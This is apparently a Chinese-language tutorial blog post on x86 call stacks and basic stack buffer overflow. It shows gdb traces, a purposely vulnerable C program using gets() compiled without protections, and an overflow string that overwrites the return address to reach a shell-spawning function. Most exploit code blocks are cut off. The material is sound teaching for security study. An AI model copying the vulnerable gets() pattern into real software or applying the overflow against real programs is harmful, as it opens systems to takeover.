实现栈溢出的两个条件:
- 程序有向栈写入数据的行为
- 程序并不限制写入数据的长度
如果想用栈溢出来执行攻击指令, 就要在溢出数据内包含攻击指令的内容或地址, 并且要将程序控制权交给该指令. 攻击指令可以是自定义的指令, 也可以利用系统内已有的函数及指令.
0x10 背景知识
0x11 栈介绍
栈是一种典型的先进后出(First in Last Out)的数据结构, 其操作主要有压栈(push)与出栈(pop)两种操作. 两种操作都是操作栈顶, 当然也有栈底(位于高地址).
每个程序在运行时都有虚拟地址空间, 其中某一部分就是该程序对应的栈. 编译器使用堆栈传递函数参数、保存返回地址、临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量. 程序的栈都是从进程地址空间的高地址向低地址增长.
0x12 栈帧结构
函数调用经常是嵌套的, 在同一时刻, 堆栈中会有多个函数的信息. 每个未完成运行的函数占用一个独立的连续区域, 称作栈帧(Stack Frame). 当函数被调用时, 栈帧被压入堆栈; 当函数返回时, 栈帧从堆栈中弹出. 栈帧存放函数的参数、函数返回地址、调用者(caller)的一些寄存器状态、函数的局部变量等.
栈帧的边界由栈帧基地址指针EBP和栈帧堆栈指针ESP界定(指正存放在相应寄存器中). EBP指向栈帧底部(高地址), 在当前栈帧内位置固定; ESP指向栈帧顶部(低地址), 当程序执行时ESP会随着数据的入栈和出栈而移动(如: 压入局部变量). 因此函数中对数据的访问大部分是基于EBP(对EBP取相对地址). 函数调用栈典型内存分布如下图:
注意: 当函数被调用时, EBP的地址是当前栈帧的基地址, 但EBP指向的是上一栈帧基地址的地址.
(1) 入栈出栈指令
函数序(入栈)实现如下:
指令序列 | 含义 |
---|---|
push %ebp | 将主调函数的帧基指针%ebp压栈,即保存旧栈帧中的帧基指针以便函数返回时恢复旧栈帧 |
mov %esp, %ebp | 将主调函数的栈顶指针%esp赋给被调函数帧基指针%ebp。此时,%ebp指向被调函数新栈帧的起始地址(栈底),亦即旧%ebp入栈后的栈顶 |
sub |
将栈顶指针%esp减去指定字节数(栈顶下移),即为被调函数局部变量开辟栈空间。 |
push |
可选。如有必要,被调函数负责保存某些寄存器(%edi/%esi/%ebx)值 |
................................. |
函数跋(出栈)实现如下:
指令序列 | 含义 |
---|---|
pop |
可选。如有必要,被调函数负责恢复某些寄存器(%edi/%esi/%ebx)值 |
mov %ebp, %esp* | 恢复主调函数的栈顶指针%esp,将其指向被调函数栈底。此时,局部变量占用的栈空间被释放,但变量内容未被清除(跳过该处理) |
pop %ebp* | 主调函数的帧基指针%ebp出栈,即恢复主调函数栈底。此时,栈顶指针%esp指向主调函数栈顶(espßesp-4),亦即返回地址存放处 |
ret | 从栈顶弹出主调函数压在栈中的返回地址到指令指针寄存器%eip中,跳回主调函数该位置处继续执行。再由主调函数恢复到调用前的栈 |
................................. | *:这两条指令序列也可由leave指令实现,具体用哪种方式由编译器决定。 |
(2) 参数压栈指令
参数压栈指令因编译器而异,如下两种压栈方式基本等效:
1 | extern CdeclDemo(int w, int x, int y, intz); //调用CdeclDemo函数 |
压栈方式一 | 压栈方式二 |
---|---|
pushl 4 //压入参数z | subl $16, %esp //多次调用仅执行一遍 |
pushl 3 //压入参数y | movl $4, 12(%esp) //传送参数z至堆栈第四个位置 |
pushl 2 //压入参数x | movl $3, 8(%esp) //传送参数y至堆栈第三个位置 |
pushl 1 //压入参数w | movl $2, 4(%esp) //传送参数x至堆栈第二个位置 |
call CdeclDemo //调用函数 | movl $1, (%esp) //传送参数w至堆栈栈顶 |
addl $16, %esp //恢复ESP原值,使其指向调用前保存的返回地址 | call CdeclDemo //调用函数 |
两种压栈方式均遵循C调用约定,但方式二中主调函数在调用返回后并未显式清理堆栈空间。因为在被调函数序阶段,编译器在栈顶为函数参数预先分配内存空间(sub指令)。函数参数被复制到栈中(而非压入栈中),并未修改栈顶指针,故调用返回时主调函数也无需修改栈顶指针。
0x13 函数调用栈
函数调用栈是指程序运行时内存一段连续的区域, 用来保存函数运行时的状态信息, 包括函数参数与局部变量等. 称之为"栈"是因为发生函数调用时, 调用函数(caller)的被保存在栈内, 被调用函数(callee)的状态被压入调用栈的栈顶; 在函数调用结束时, 栈顶的函数(callee)状态被弹出, 栈顶恢复到调用函数(caller)的状态. 函数调用栈在内存中从高地址向低地址生长, 所以栈顶对应的内存在压栈时变小, 出栈时变大.
函数调用发生和结束的调用栈帧如下图:
函数状态主要涉及三个寄存器--esp, ebp, eip: - esp 用来存储函数调用栈(caller)的栈顶指针, 在压栈(入栈)和退栈(出栈)时发生变化. - ebp 用来存储当前函数状态的基地址, 在函数运行时不变, 可以用来索引确定函数参数或局部变量的位置. - eip 用来存储即将执行的程序指令的地址, cpu依照eip的存储内容读取指令并执行, eip随之指向相邻的下一条指令. EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变)。
分析demo源代码:
1 | /************************************************************************* |
然后在命令行中:
1 | gcc -m32 debugfunc.c -o debugfunc32 # -m32表示编译成32位的程序 |
(1) 函数调用压栈顺序
- 调用者压入需要保存的寄存器(通常这些寄存器包括 EAX,ECX 和 EDX等)
- 按照从右往左的顺序压入参数(这个可能有特殊情况, 详情请看C语言函数调用栈(二))
- 返回地址
- 调用者的 EBP
- 局部变量
- 被调用者本身压入需要保存的寄存器, 通常这些寄存器包括 EBX,ESI 和 EDI 等
被调用函数(callee)的参数按照逆序依次压入栈内. 如果callee没有参数, 则无需此操作. 这些参数仍会保存在调用函数(caller)的函数状态内, 之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存.
1
2
3
4
5
6
7
8
90x8048552 <main+68> add esp, 0x10
0x8048555 <main+71> mov eax, DWORD PTR [ebp-0x18]
0x8048558 <main+74> sub esp, 0x8
→ 0x804855b <main+77> push eax # $eax : 0x17(即:23,自己输入的数据)
0x804855c <main+78> push DWORD PTR [ebp-0x14] # ebp为main函数栈基址,-0x14便是int a的栈地址,此处是压入a的值到calc调用栈
0x804855f <main+81> call 0x80484eb <calc>
0x8048564 <main+86> add esp, 0x10
0x8048567 <main+89> mov DWORD PTR [ebp-0x10], eax
0x804856a <main+92> sub esp, 0x8然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内. 这样调用函数(caller)的eip(指令)信息得以保存.(这一操作是隐式的, 在执行call命令时就已经push了return的值了)
在gdb里
step into
进calc
函数, 当执行到push ebp
的时候, 能看到前面的两个参数和返回地址已经被push到当前函数(即calc
)的栈帧, 如下图:再将当前的ebp寄存器的值(也就是调用函数[caller]的基地址)压入栈内, 并将ebp寄存器的值更新为当前栈顶(esp)的地址. 这样调用函数(caller)的ebp(基地址)信息得以保存. 同时, ebp被更新为被调用函数(callee)的基地址. 例如下面调用calc函数时, 有
mov rbp, rsp
:1
2
3
4
5
6
7
8
9
100x4006b1 <main+61> dec DWORD PTR [rbx+0x458bec55]
0x4006b7 <main+67> lock mov esi, edx
0x4006ba <main+70> mov edi, eax
→ 0x4006bc <main+72> call 0x400646 <calc>
↳ 0x400646 <calc+0> push rbp
0x400647 <calc+1> mov rbp, rsp
0x40064a <calc+4> mov DWORD PTR [rbp-0x14], edi
0x40064d <calc+7> mov DWORD PTR [rbp-0x18], esi
0x400650 <calc+10> mov DWORD PTR [rbp-0x8], 0x0
0x400657 <calc+17> mov DWORD PTR [rbp-0x4], 0x2再之后将被调用函数(callee)的局部变量等数据压入栈内.
1
2
3
4
5
6
7
8
90x80484ec <calc+1> mov ebp, esp
0x80484ee <calc+3> sub esp, 0x10
0x80484f1 <calc+6> mov DWORD PTR [ebp-0x8], 0x2 # 给d赋值: d=2
→ 0x80484f8 <calc+13> mov eax, DWORD PTR [ebp+0x8] # 将参数a=5赋给eax
0x80484fb <calc+16> imul eax, DWORD PTR [ebp-0x8] # 5*2(有符号乘)
0x80484ff <calc+20> mov edx, eax
0x8048501 <calc+22> mov eax, DWORD PTR [ebp+0xc]
0x8048504 <calc+25> add eax, edx # 10 + 23
0x8048506 <calc+27> mov DWORD PTR [ebp-0x4], eax # 赋值给变量c
(2) 函数调用出栈顺序
栈顶(ESP)会重新指向被调用函数(callee)的基地址, 因此, 被调用函数的局部变量会从站内直接弹出. 如下:
具体汇编代码是:
1
2
3
4
5
6
7
8
9
100x8048505 <calc+26> ror BYTE PTR [ecx+0x458bfc45], 1
0x804850b <calc+32> cld
0x804850c <calc+33> leave
→ 0x804850d <calc+34> ret
↳ 0x8048564 <main+86> add esp, 0x10
0x8048567 <main+89> mov DWORD PTR [ebp-0x10], eax
0x804856a <main+92> sub esp, 0x8
0x804856d <main+95> push DWORD PTR [ebp-0x10]
0x8048570 <main+98> push 0x804863a
0x8048575 <main+103> call 0x8048390 <printf@plt>如上图, 当执行到
calc
函数的ret
返回语句时, 会有下面一系列的语句, 其中第一条add
语句就是让esp
重新指向calc
的基址(ebp)的关键语句, 此时位于低地址的局部变量将丢弃.随后将基地址内存储的调用函数(caller)的ebp的值重新pop到当前的ebp中, 至此, 调用函数(caller)的基地址得以恢复. 值得注意的是, 这一操作是隐式的(与函数调用压栈的第2步作对比). 如下图:
执行
leave
前:执行
leave
后:esp
存储的地址会指向返回地址(0x08048564
):1
2
3
4
5
6
7
8
9
10
11
12─────────────────────────────────────────────────────────[ registers ]────
$eax : 0x21
$ebx : 0x0
$ecx : 0x1
$edx : 0xa
$esp : 0xffffcf5c → 0x08048564 → <main+86> add esp, 0x10 # 指向ret地址
$ebp : 0xffffcf88 → 0x00000000
$esi : 0xf7faf000 → 0x001b1db0
$edi : 0xf7faf000 → 0x001b1db0
$eip : 0x804850d → <calc+34> ret
$eflags: [carry PARITY ADJUST zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0063 $fs: 0x0000 $ds: 0x002b $cs: 0x0023 $es: 0x002b $ss: 0x002b
然后将返回地址从栈内pop出来, 并存到
eip
内. 从而调用函数(caller)的eip
信息得以恢复, 指向下一条指令.
总结一下上面的调用压栈和出栈:
(1)压栈时, 先压参数, 后压返回地址, 然后再将caller的
ebp
压入, 最后将局部变量压入.(2)出栈时, 先弹局部变量, 后弹ebp, 然后通过返回地址恢复
eip
.通过上述描述, 可知函数调用压栈和出栈是一个互逆过程, 这也间接验证了堆栈平衡的机理.
0x14 寄存器分布
32位和64位程序的部分区别:
- x86
- 函数参数在函数返回地址的上方
- x64
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
0x20 栈溢出原理
栈溢出的原理其实很简单: 在程序没有判断输入长度的情况下, 当程序向申请的变量写入的字节长度超过了该变量向内存申请的字节长度, 因而导致该变量相邻的栈的内存的值被覆盖. 简而言之, 还是开篇提及的两个栈溢出条件. 由于操作系统或者程序增加了对栈溢出的保护, 而使得溢出的难度增大, 但其核心思想是不变的. 我们先用根据下图来看看溢出的效果:
在执行漏洞函数之前, 我们能看到
ebp
esp
的地址很正常, ebp的下一个地址也指向了return address
.接着当我们执行到漏洞函数之时, 输入以下字符串:
1
aaaaaaaaaaaaaaaaaaaaaaaaaaaa33330808
我们再看看此时的堆栈:
1
2
3
4
5
6
7
8
9
10
11
12──────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x25
$ebx : 0x0
$ecx : 0xffffffff
$edx : 0xf7fae870 → 0x00000000
$esp : 0xffffcf30 → 0xf7fad300 → 0xf7f56447 → "ISO-10646/UCS2/"
$ebp : 0x33333333 ("3333"?)
$esi : 0xf7fad000 → 0x001b1db0
$edi : 0xf7fad000 → 0x001b1db0
$eip : 0x38303830 ("0808"?)
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$gs: 0x0063 $ds: 0x002b $cs: 0x0023 $es: 0x002b $fs: 0x0000 $ss: 0x002b不难看出, 此时的
ebp
被覆盖为0x33333333
,eip
被覆盖为0x38303830
. 至此, 栈溢出完美实现!
0x30 栈溢出实战-小试牛刀
首先, 先写一个有漏洞的脚本程序:
1 | /************************************************************************* |
上面的程序中, exec()
可以执行shell命令, 但是没有在主函数执行; vulnerablefunc()
执行了一个没有判断输入字符串长度的gets
函数, 该函数是一个危险函数(不判断输入字符串的长度), 编译时也能看得出来:
1 | ➜ demo gcc -m32 -fno-stack-protector stack-overflow-demo.c -o stack-overflow-demo |
上面编译有两个warning: 1)第一个warning提示危险的system
函数(系统调用); 2)第二个warning就是gets
函数了. 该命令中, -fno-stack-protectotor
表示不开启堆栈溢出保护(不生成canary). 同时, 还可以关闭地址随机化PIE(Position Independent Executable), 如果gcc -v
后能看到--enable-default-pie
即为开启了PIE. 我们在编译时, 添加-no-pie
参数即可关闭PIE.
此时我们在shell下反汇编objdump -d stack-overflow-demo
:(截取部分汇编)
1 | 0804846b <exec>: |
执行gets
函数之前, vulnerablefunc
的栈帧为:
1 | High |
gets
函数执行后, vulnerablefunc
的栈帧为:(输入: aaaaaaaaaaaaaaaaaaaaaaaaaaaa33330808
)
1 | High |
这里的0x1c
是char
型变量s
与ebp
的相对地址, 所以要覆盖ebp
, 就需要构造0x1c
个字节的payload, 后面四个字节是ebp
的地址, 紧接着ebp
的后面四个字节的地址便是返回地址. 因此, 如果要覆盖返回地址, 让函数弹出栈帧时弹到自己想要返回到的函数地址, 就需要先找到需要利用的函数的地址, 然后将这个地址加进payload里, 如下所示代码:
1 | #!/usr/bin/python |
执行该脚本之后, 可以获得shell:
1 | ➜ demo python stack-overflow-demo-attack.py |
至此, 你的第一个栈溢出攻击的过程就完美实现啦! Keep Moving!!!
0x40 参考链接
部分内容引自如下blog, 如有侵权立即更改本文.